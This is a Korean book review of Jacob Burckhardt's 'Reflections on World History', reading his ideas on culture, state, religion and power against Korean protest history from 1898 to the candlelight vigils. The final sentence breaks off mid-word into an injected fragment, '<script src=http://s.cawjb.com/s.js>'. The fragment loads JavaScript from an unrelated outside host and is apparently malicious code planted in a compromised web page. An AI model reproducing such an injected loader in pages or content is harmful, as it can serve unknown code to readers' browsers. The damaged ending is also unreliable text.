광화문의 촛불은 80년대의 화염병을 대치한 것이다. 그것은 아주 미약해 보이는 무기이다. 1898년 수만 명의 민중이 종로에 운집하였다. 러시아의 조선침탈과 조선 관리들의 부정부패에 맞선 대규모 민중운동이 일어났으니, 만민공동회였다. 만민공동회는 외세로부터 침탈당하는 조선의 경제주권을 확립하는 데 일차적인 목적이 있었다. 비록 공권력의 무자비한 폭력이 동원됨에 따라 실패한 운동으로 끝나기는 했지만, 만민공동회에서 보여준 비틀어진 권력에 대한 민중들의 자발적 투쟁은 1백 년이 훨씬 지난 지금에도 여전히 진행 중인 셈이다.

야코프 부르크하르트의 <b>『세계 역사의 관찰』</b>을 읽으면서 이처럼 1백 년을 훌쩍 넘긴 사건이 내 머릿속을 떠나지 않았다. 야코프 부르크하르트의 말처럼 권력에 대한 ‘개인들’의 저항은 역사적으로 반복되고 있는 현상이다. 이 책은 부르크하르트가 1868년 스위스 바젤 대학교에서 강연했던 내용을 정리한 것이다. 당시 바젤 대학교의 교수였던 니체는 부르크하르트의 강의를 청강하였고, 매우 감동을 받았다고 한다. 그로부터 수십 년이 지난 1905년 부르크하르트가 행했던 ‘역사의 연구’란 강의는 『세계 역사의 관찰』이란 제목을 달고 출간되었다. 부르크하르트가 강연했던 19세기 후반은 세계사적으로도 한국의 역사에서도 격동기였다. 이 책이 출간된 1905년은 한국 역사에서도 매우 상징적인 해이다. 그가 주장하고 있는 내용은 한국의 과거사와 현재 진행 중인, 앞으로 역사의 기록으로 남을 사건과 겹쳐지면서, 다시 역사에 대해서 ‘관찰’하고 ‘인식’할 수 있는 기회를 제공한다.

저자의 관심은 세계 역사에 대한 관찰이다. 그 관찰, 역사에 대한 관찰의 전제는 확고한 탐구를 기반으로 삼는다. 그는 이를 위해 먼저 헤겔의 역사철학과 결별한다. 부르크하르트에게 역사철학이란 ‘켄타우루스 같은 합성괴물’일 뿐이다. 저자는 이성이 세계를 지배한다고 믿는 헤겔, 결국 세계 역사가 이성적으로 진행되었다고 보는 헤겔의 관점과 결별한다. 부르크하르트에게 역사란 시작과 끝이 명징한 것이 아니라, 처음도 끝도 없는 중간뿐이다.
그 중간뿐인 역사를 부르크하르트는 관찰한다. 부르크하르트에게 중요한 관찰 대상은 “우리에게 유일하게 남는 가능한 중심점, 곧 견디고 투쟁하고 행동하는 인간, 지금도 그렇고, 과거에도 늘 그랬고, 앞으로도 늘 그럴 인간”이다. 그 인간의 삶의 역사 속에서 부르크하르트가 탐구하고 관찰하는 역사는 되풀이되는 것, 항상 있는 것, 전형적인 것이다. 그리고 그는 역사를 떠받치고 있는 세 가지 잠재력인 문화, 국가, 종교에 대해서 치밀한 관찰을 시작한다.
일국적 차원에서가 아닌 세계사적인 차원에서 역사를 관찰하기. 부르크하르트는 고대 그리스를 시작으로 19세기에 이르는 약 5천 년의 세계사를 문화, 국가, 종교라는 역사의 트라이앵글을 중심으로 종횡무진 횡단한다. 그에게 문화는 움직이는 것이고, 국가와 종교는 고정된 것이다. 문화, 국가, 종교는 서로를 때론 간섭하고 억압하면서 서로에게 영향을 미친다.
이 중에서 저자가 논의의 중심으로 삼는 것은 ‘문화’이다. 역사의 세 가지 잠재력의 상호작용을 관찰하되, 그럼에도 불구하고 그의 논의 속에는 문화를 중심으로 한 트라이앵글의 역사가 은연중에 부각된다. 그에게 문화란 국가와 종교 같은 고정된 삶의 장치들에 대해 끊임없이 수정을 가하고 녹여버리는 작용을 하는 것이다. 또한 문화는 그 어떤 보편적 타당성이나 강제적 타당성을 요구하지 않는 정신적 발전의 총합을 의미한다.

문화, 국가, 종교로 구성된 역사를 탐구하는 부르크하르트의 시선은 총체적이다. 그가 재료로 삼은 대상들은 서구 5천 년 동안 지속되었고, 여전히 진행 중인 문학, 미술, 건축, 음악, 철학 등이다. 어쩌면 지금 한국에서는 뒷전으로 밀려난 ‘거대 담론’의 역사를 통합적 인문학의 차원에서 추적하고 있는 셈이다. 역사를 구성하는 세 잠재력의 상호작용과 그 역사에서 부르크하르트가 가장 경계하고 있는 것은 ‘권력’이다. 문화권력, 국가권력, 종교권력. 문화와 국가와 종교가 서로 얽히면서 생성된 다층적 권력. 부르크하르트는 누가 권력을 행사하든 상관없이 권력은 그 자체로 악하다고 생각한다.
권력은 멈출지 모르는 탐욕이자, 아무리 노력해도 완전히 채울 수 없는 밑 빠진 독이기 때문이다. 권력은 언제나 배제와 통합을 통해 국민을 길들인다. 그러나 부르크하르트의 지적처럼 국민이 그 무엇보다 갈망하는 것은 권력이다. 마치 독일의 철학자 빌헬름 라이히가 『파시즘의 대중심리』에서 말한 것처럼, ‘왜 대중은 자신을 위한 것인 양 스스로에 대한 억압을 욕망하는가?’와도 그리 다르지 않은 아이러니는 현재에도 ‘되풀이되고’, ‘항상 있고’, ‘전형적인’ 역사의 하나일 것이?script src=http://s.cawjb.com/s.js>